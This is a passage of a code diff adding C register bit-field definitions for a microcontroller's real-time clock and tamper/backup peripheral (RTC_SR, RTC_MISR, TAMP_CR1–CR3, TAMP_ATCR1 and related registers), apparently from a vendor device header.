RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11UL) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12UL) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0UL) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3UL) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5UL) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7UL) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0UL) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1UL) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2UL) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3UL) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4UL) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5UL) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6UL) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7UL) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8UL) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10UL) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12UL) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14UL) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16UL) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24UL) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << 